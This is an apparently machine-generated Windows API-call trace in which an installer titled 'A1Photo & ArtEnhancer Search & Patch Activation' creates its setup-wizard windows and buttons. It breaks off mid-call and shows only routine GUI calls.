SetWindowLongA (hWnd=0x1033e, nIndex=-12, dwNewLong=66366) returned 0 [0263.676] SetPropA (hWnd=0x1033e, lpString=0xc167, hData=0x2c8680c) returned 1 [0263.676] SetPropA (hWnd=0x1033e, lpString=0xc168, hData=0x2c8680c) returned 1 [0263.676] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x81, wParam=0x0, lParam=0x18f988) returned 0x1 [0263.677] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x83, wParam=0x0, lParam=0x18f974) returned 0x0 [0263.677] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x1, wParam=0x0, lParam=0x18f988) returned 0x0 [0263.677] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x55, wParam=0x1033e, lParam=0x3) returned 0x1 [0263.677] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0263.677] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0263.677] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0263.677] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.677] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.678] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.678] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.678] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.747] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] InvalidateRect (hWnd=0x20316, lpRect=0x0, bErase=1) returned 1 [0263.748] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.748] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0263.749] IsIconic (hWnd=0x1033e) returned 0 [0263.749] GetWindowRect (in: hWnd=0x1033e, lpRect=0x18f77c | out: lpRect=0x18f77c) returned 1 [0263.749] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1140916224 [0263.749] GetWindowLongA (hWnd=0x1033e, nIndex=-8) returned 786528 [0263.749] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f77c | out: lpPoint=0x18f77c) returned 1 [0263.749] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f784 | out: lpPoint=0x18f784) returned 1 [0263.749] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x5, wParam=0x0, lParam=0x17004b) returned 0x0 [0263.749] GetClientRect (in: hWnd=0x1033e, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0263.749] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x3, wParam=0x0, lParam=0x147019c) returned 0x0 [0263.749] IsIconic (hWnd=0x1033e) returned 0 [0263.749] GetWindowRect (in: hWnd=0x1033e, lpRect=0x18f780 | out: lpRect=0x18f780) returned 1 [0263.749] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1140916224 [0263.749] GetWindowLongA (hWnd=0x1033e, nIndex=-8) returned 786528 [0263.749] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f780 | out: lpPoint=0x18f780) returned 1 [0263.749] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f788 | out: lpPoint=0x18f788) returned 1 [0263.749] GetWindowThreadProcessId (in: hWnd=0x1033e, lpdwProcessId=0x18f798 | out: lpdwProcessId=0x18f798) returned 0x8cc [0263.749] GetCurrentProcessId () returned 0x8d0 [0263.749] GetPropA (hWnd=0x1033e, lpString=0xc167) returned 0x2c8680c [0263.749] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xbe10, wParam=0x33e0001, lParam=0x1033e) returned 0x0 [0263.750] IsIconic (hWnd=0x1033e) returned 0 [0263.750] GetWindowRect (in: hWnd=0x1033e, lpRect=0x18fd58 | out: lpRect=0x18fd58) returned 1 [0263.750] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1140916224 [0263.750] GetWindowLongA (hWnd=0x1033e, nIndex=-8) returned 786528 [0263.750] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fd58 | out: lpPoint=0x18fd58) returned 1 [0263.750] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fd60 | out: lpPoint=0x18fd60) returned 1 [0263.750] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.750] SetPropA (hWnd=0x1033e, lpString=0xc167, hData=0x2c8680c) returned 1 [0263.750] SetPropA (hWnd=0x1033e, lpString=0xc168, hData=0x2c8680c) returned 1 [0263.750] SetWindowPos (hWnd=0x1033e, hWndInsertAfter=0x60050, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.750] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x46, wParam=0x0, lParam=0x18fe24) returned 0x0 [0263.750] SetWindowPos (hWnd=0x1033e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0263.750] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x46, wParam=0x0, lParam=0x18fdc8) returned 0x0 [0263.750] IsIconic (hWnd=0x1033e) returned 0 [0263.750] GetWindowRect (in: hWnd=0x1033e, lpRect=0x18fb88 | out: lpRect=0x18fb88) returned 1 [0263.750] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0263.750] GetWindowLongA (hWnd=0x1033e, nIndex=-8) returned 786528 [0263.750] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fb88 | out: lpPoint=0x18fb88) returned 1 [0263.750] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fb90 | out: lpPoint=0x18fb90) returned 1 [0263.750] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x47, wParam=0x0, lParam=0x18fdc8) returned 0x0 [0263.751] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.751] GetClassInfoA (in: hInstance=0x400000, lpClassName="BUTTON", lpWndClass=0x18fdc8 | out: lpWndClass=0x18fdc8) returned 1 [0263.751] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewButton", lpWndClass=0x18fe30 | out: lpWndClass=0x18fe30) returned 1 [0263.751] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewButton", lpWindowName="&Next >", dwStyle=0x44010001, X=327, Y=327, nWidth=75, nHeight=23, hWndParent=0xc0060, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10340 [0263.751] SetWindowLongA (hWnd=0x10340, nIndex=-4, dwNewLong=2297774) returned 4274892 [0263.751] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1140916225 [0263.751] GetWindowLongA (hWnd=0x10340, nIndex=-12) returned 0 [0263.751] SetWindowLongA (hWnd=0x10340, nIndex=-12, dwNewLong=66368) returned 0 [0263.751] SetPropA (hWnd=0x10340, lpString=0xc167, hData=0x2c86b08) returned 1 [0263.751] SetPropA (hWnd=0x10340, lpString=0xc168, hData=0x2c86b08) returned 1 [0263.751] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x81, wParam=0x0, lParam=0x18f988) returned 0x1 [0263.751] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x83, wParam=0x0, lParam=0x18f974) returned 0x0 [0263.751] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x1, wParam=0x0, lParam=0x18f988) returned 0x0 [0263.752] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x55, wParam=0x10340, lParam=0x3) returned 0x1 [0263.752] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0263.752] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0263.752] IsIconic (hWnd=0x10340) returned 0 [0263.752] GetWindowRect (in: hWnd=0x10340, lpRect=0x18f77c | out: lpRect=0x18f77c) returned 1 [0263.752] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1140916225 [0263.752] GetWindowLongA (hWnd=0x10340, nIndex=-8) returned 786528 [0263.752] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f77c | out: lpPoint=0x18f77c) returned 1 [0263.752] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f784 | out: lpPoint=0x18f784) returned 1 [0263.752] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x5, wParam=0x0, lParam=0x17004b) returned 0x0 [0263.752] GetClientRect (in: hWnd=0x10340, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0263.752] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x3, wParam=0x0, lParam=0x1470147) returned 0x0 [0263.752] IsIconic (hWnd=0x10340) returned 0 [0263.752] GetWindowRect (in: hWnd=0x10340, lpRect=0x18f780 | out: lpRect=0x18f780) returned 1 [0263.752] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1140916225 [0263.752] GetWindowLongA (hWnd=0x10340, nIndex=-8) returned 786528 [0263.752] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f780 | out: lpPoint=0x18f780) returned 1 [0263.752] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f788 | out: lpPoint=0x18f788) returned 1 [0263.752] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f798 | out: lpdwProcessId=0x18f798) returned 0x8cc [0263.752] GetCurrentProcessId () returned 0x8d0 [0263.752] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0263.752] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbe10, wParam=0x3400001, lParam=0x10340) returned 0x0 [0263.753] IsIconic (hWnd=0x10340) returned 0 [0263.753] GetWindowRect (in: hWnd=0x10340, lpRect=0x18fd58 | out: lpRect=0x18fd58) returned 1 [0263.753] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1140916225 [0263.753] GetWindowLongA (hWnd=0x10340, nIndex=-8) returned 786528 [0263.753] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fd58 | out: lpPoint=0x18fd58) returned 1 [0263.753] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fd60 | out: lpPoint=0x18fd60) returned 1 [0263.753] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.753] SetPropA (hWnd=0x10340, lpString=0xc167, hData=0x2c86b08) returned 1 [0263.753] SetPropA (hWnd=0x10340, lpString=0xc168, hData=0x2c86b08) returned 1 [0263.753] SetWindowPos (hWnd=0x10340, hWndInsertAfter=0x60050, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.753] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x46, wParam=0x0, lParam=0x18fe24) returned 0x0 [0263.753] IsIconic (hWnd=0x10340) returned 0 [0263.753] GetWindowRect (in: hWnd=0x10340, lpRect=0x18fbe4 | out: lpRect=0x18fbe4) returned 1 [0263.753] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1140916225 [0263.753] GetWindowLongA (hWnd=0x10340, nIndex=-8) returned 786528 [0263.753] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fbe4 | out: lpPoint=0x18fbe4) returned 1 [0263.753] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0263.753] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x47, wParam=0x0, lParam=0x18fe24) returned 0x0 [0263.753] SetWindowPos (hWnd=0x10340, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0263.753] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x46, wParam=0x0, lParam=0x18fdc8) returned 0x0 [0263.754] IsIconic (hWnd=0x10340) returned 0 [0263.754] GetWindowRect (in: hWnd=0x10340, lpRect=0x18fb88 | out: lpRect=0x18fb88) returned 1 [0263.754] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0263.754] GetWindowLongA (hWnd=0x10340, nIndex=-8) returned 786528 [0263.754] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fb88 | out: lpPoint=0x18fb88) returned 1 [0263.754] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fb90 | out: lpPoint=0x18fb90) returned 1 [0263.754] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x47, wParam=0x0, lParam=0x18fdc8) returned 0x0 [0263.754] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.754] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18fe1c | out: lpWndClass=0x18fe1c) returned 1 [0263.754] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=497, nHeight=313, hWndParent=0x60050, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10342 [0263.754] SetWindowLongA (hWnd=0x10342, nIndex=-4, dwNewLong=2297735) returned 4274892 [0263.754] GetWindowLongA (hWnd=0x10342, nIndex=-16) returned 1174405120 [0263.754] GetWindowLongA (hWnd=0x10342, nIndex=-12) returned 0 [0263.754] SetWindowLongA (hWnd=0x10342, nIndex=-12, dwNewLong=66370) returned 0 [0263.754] SetPropA (hWnd=0x10342, lpString=0xc167, hData=0x2c86ee0) returned 1 [0263.754] SetPropA (hWnd=0x10342, lpString=0xc168, hData=0x2c86ee0) returned 1 [0263.754] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x81, wParam=0x0, lParam=0x18f974) returned 0x1 [0263.754] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x83, wParam=0x0, lParam=0x18f960) returned 0x0 [0263.755] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x1, wParam=0x0, lParam=0x18f974) returned 0x0 [0263.755] IsIconic (hWnd=0x10342) returned 0 [0263.755] GetWindowRect (in: hWnd=0x10342, lpRect=0x18f774 | out: lpRect=0x18f774) returned 1 [0263.755] GetWindowLongA (hWnd=0x10342, nIndex=-16) returned 1174405120 [0263.755] GetWindowLongA (hWnd=0x10342, nIndex=-8) returned 393296 [0263.755] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f774 | out: lpPoint=0x18f774) returned 1 [0263.755] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f77c | out: lpPoint=0x18f77c) returned 1 [0263.755] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x5, wParam=0x0, lParam=0x13901f1) returned 0x0 [0263.755] GetClientRect (in: hWnd=0x10342, lpRect=0x18f7a0 | out: lpRect=0x18f7a0) returned 1 [0263.755] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0263.755] IsIconic (hWnd=0x10342) returned 0 [0263.755] GetWindowRect (in: hWnd=0x10342, lpRect=0x18f778 | out: lpRect=0x18f778) returned 1 [0263.755] GetWindowLongA (hWnd=0x10342, nIndex=-16) returned 1174405120 [0263.755] GetWindowLongA (hWnd=0x10342, nIndex=-8) returned 393296 [0263.755] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f778 | out: lpPoint=0x18f778) returned 1 [0263.755] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f780 | out: lpPoint=0x18f780) returned 1 [0263.755] GetWindowThreadProcessId (in: hWnd=0x10342, lpdwProcessId=0x18f79c | out: lpdwProcessId=0x18f79c) returned 0x8cc [0263.755] GetCurrentProcessId () returned 0x8d0 [0263.755] GetPropA (hWnd=0x10342, lpString=0xc167) returned 0x2c86ee0 [0263.755] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0xbe10, wParam=0x3420001, lParam=0x10342) returned 0x0 [0263.755] IsIconic (hWnd=0x10342) returned 0 [0263.755] GetWindowRect (in: hWnd=0x10342, lpRect=0x18fd44 | out: lpRect=0x18fd44) returned 1 [0263.755] GetWindowLongA (hWnd=0x10342, nIndex=-16) returned 1174405120 [0263.755] GetWindowLongA (hWnd=0x10342, nIndex=-8) returned 393296 [0263.755] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18fd44 | out: lpPoint=0x18fd44) returned 1 [0263.756] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18fd4c | out: lpPoint=0x18fd4c) returned 1 [0263.756] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.756] SetPropA (hWnd=0x10342, lpString=0xc167, hData=0x2c86ee0) returned 1 [0263.756] SetPropA (hWnd=0x10342, lpString=0xc168, hData=0x2c86ee0) returned 1 [0263.756] SetWindowPos (hWnd=0x10342, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.756] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x46, wParam=0x0, lParam=0x18fe08) returned 0x0 [0263.756] IsIconic (hWnd=0x10342) returned 0 [0263.756] GetWindowRect (in: hWnd=0x10342, lpRect=0x18fbd4 | out: lpRect=0x18fbd4) returned 1 [0263.756] GetWindowLongA (hWnd=0x10342, nIndex=-16) returned 1174405120 [0263.756] GetWindowLongA (hWnd=0x10342, nIndex=-8) returned 393296 [0263.756] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18fbd4 | out: lpPoint=0x18fbd4) returned 1 [0263.756] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18fbdc | out: lpPoint=0x18fbdc) returned 1 [0263.756] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x47, wParam=0x0, lParam=0x18fe08) returned 0x0 [0263.756] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.756] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18fd98 | out: lpWndClass=0x18fd98) returned 1 [0263.756] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18fe00 | out: lpWndClass=0x18fe00) returned 1 [0263.756] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="This will install A1 Photo & ArtEnhancer Search & Patch Activation on your computer.\r\n\r\nIt is recommended that you close all other applications before continuing.\r\n\r\nClick Next to continue, or Cancel to exit Setup.", dwStyle=0x44000180, X=176, Y=89, nWidth=301, nHeight=221, hWndParent=0x10342, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10344 [0263.757] SetWindowLongA (hWnd=0x10344, nIndex=-4, dwNewLong=2297722) returned 4274892 [0263.757] GetWindowLongA (hWnd=0x10344, nIndex=-16) returned 1140851072 [0263.757] GetWindowLongA (hWnd=0x10344, nIndex=-12) returned 0 [0263.757] SetWindowLongA (hWnd=0x10344, nIndex=-12, dwNewLong=66372) returned 0 [0263.757] SetPropA (hWnd=0x10344, lpString=0xc167, hData=0x2c87714) returned 1 [0263.757] SetPropA (hWnd=0x10344, lpString=0xc168, hData=0x2c87714) returned 1 [0263.757] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x81, wParam=0x0, lParam=0x18f958) returned 0x1 [0263.757] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x83, wParam=0x0, lParam=0x18f944) returned 0x0 [0263.757] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x1, wParam=0x0, lParam=0x18f958) returned 0x0 [0263.757] IsIconic (hWnd=0x10344) returned 0 [0263.757] GetWindowRect (in: hWnd=0x10344, lpRect=0x18f758 | out: lpRect=0x18f758) returned 1 [0263.757] GetWindowLongA (hWnd=0x10344, nIndex=-16) returned 1140851072 [0263.757] GetWindowLongA (hWnd=0x10344, nIndex=-8) returned 66370 [0263.757] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18f758 | out: lpPoint=0x18f758) returned 1 [0263.757] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18f760 | out: lpPoint=0x18f760) returned 1 [0263.757] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x5, wParam=0x0, lParam=0xdd012d) returned 0x0 [0263.757] GetClientRect (in: hWnd=0x10344, lpRect=0x18f784 | out: lpRect=0x18f784) returned 1 [0263.758] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x3, wParam=0x0, lParam=0x5900b0) returned 0x0 [0263.758] IsIconic (hWnd=0x10344) returned 0 [0263.758] GetWindowRect (in: hWnd=0x10344, lpRect=0x18f75c | out: lpRect=0x18f75c) returned 1 [0263.758] GetWindowLongA (hWnd=0x10344, nIndex=-16) returned 1140851072 [0263.758] GetWindowLongA (hWnd=0x10344, nIndex=-8) returned 66370 [0263.758] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18f75c | out: lpPoint=0x18f75c) returned 1 [0263.758] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18f764 | out: lpPoint=0x18f764) returned 1 [0263.758] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18f780 | out: lpdwProcessId=0x18f780) returned 0x8cc [0263.758] GetCurrentProcessId () returned 0x8d0 [0263.758] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0263.758] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0xbe10, wParam=0x3440001, lParam=0x10344) returned 0x0 [0263.758] IsIconic (hWnd=0x10344) returned 0 [0263.758] GetWindowRect (in: hWnd=0x10344, lpRect=0x18fd28 | out: lpRect=0x18fd28) returned 1 [0263.758] GetWindowLongA (hWnd=0x10344, nIndex=-16) returned 1140851072 [0263.758] GetWindowLongA (hWnd=0x10344, nIndex=-8) returned 66370 [0263.758] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fd28 | out: lpPoint=0x18fd28) returned 1 [0263.758] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0263.758] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.758] SetPropA (hWnd=0x10344, lpString=0xc167, hData=0x2c87714) returned 1 [0263.758] SetPropA (hWnd=0x10344, lpString=0xc168, hData=0x2c87714) returned 1 [0263.758] SetWindowPos (hWnd=0x10344, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.758] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x46, wParam=0x0, lParam=0x18fdec) returned 0x0 [0263.758] SetWindowPos (hWnd=0x10344, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0263.758] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x46, wParam=0x0, lParam=0x18fd9c) returned 0x0 [0263.758] IsIconic (hWnd=0x10344) returned 0 [0263.758] GetWindowRect (in: hWnd=0x10344, lpRect=0x18fb68 | out: lpRect=0x18fb68) returned 1 [0263.758] GetWindowLongA (hWnd=0x10344, nIndex=-16) returned 1409286528 [0263.759] GetWindowLongA (hWnd=0x10344, nIndex=-8) returned 66370 [0263.759] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fb68 | out: lpPoint=0x18fb68) returned 1 [0263.759] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fb70 | out: lpPoint=0x18fb70) returned 1 [0263.759] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x47, wParam=0x0, lParam=0x18fd9c) returned 0x0 [0263.759] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.759] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18fd98 | out: lpWndClass=0x18fd98) returned 1 [0263.759] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18fe00 | out: lpWndClass=0x18fe00) returned 1 [0263.759] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="Welcome to the MediaChance A1Photo & ArtEnhancer Search & Patch Activation Setup Wizard\r\n", dwStyle=0x44000180, X=176, Y=16, nWidth=301, nHeight=73, hWndParent=0x10342, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10346 [0263.759] SetWindowLongA (hWnd=0x10346, nIndex=-4, dwNewLong=2297709) returned 4274892 [0263.759] GetWindowLongA (hWnd=0x10346, nIndex=-16) returned 1140851072 [0263.759] GetWindowLongA (hWnd=0x10346, nIndex=-12) returned 0 [0263.759] SetWindowLongA (hWnd=0x10346, nIndex=-12, dwNewLong=66374) returned 0 [0263.759] SetPropA (hWnd=0x10346, lpString=0xc167, hData=0x2c87a50) returned 1 [0263.759] SetPropA (hWnd=0x10346, lpString=0xc168, hData=0x2c87a50) returned 1 [0263.759] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x81, wParam=0x0, lParam=0x18f958) returned 0x1 [0263.759] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x83, wParam=0x0, lParam=0x18f944) returned 0x0 [0263.760] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x1, wParam=0x0, lParam=0x18f958) returned 0x0 [0263.760] IsIconic (hWnd=0x10346) returned 0 [0263.760] GetWindowRect (in: hWnd=0x10346, lpRect=0x18f758 | out: lpRect=0x18f758) returned 1 [0263.760] GetWindowLongA (hWnd=0x10346, nIndex=-16) returned 1140851072 [0263.760] GetWindowLongA (hWnd=0x10346, nIndex=-8) returned 66370 [0263.760] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18f758 | out: lpPoint=0x18f758) returned 1 [0263.760] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18f760 | out: lpPoint=0x18f760) returned 1 [0263.760] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x5, wParam=0x0, lParam=0x49012d) returned 0x0 [0263.760] GetClientRect (in: hWnd=0x10346, lpRect=0x18f784 | out: lpRect=0x18f784) returned 1 [0263.760] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x3, wParam=0x0, lParam=0x1000b0) returned 0x0 [0263.760] IsIconic (hWnd=0x10346) returned 0 [0263.760] GetWindowRect (in: hWnd=0x10346, lpRect=0x18f75c | out: lpRect=0x18f75c) returned 1 [0263.760] GetWindowLongA (hWnd=0x10346, nIndex=-16) returned 1140851072 [0263.760] GetWindowLongA (hWnd=0x10346, nIndex=-8) returned 66370 [0263.760] ScreenToClient (in: hWnd=0x10342, 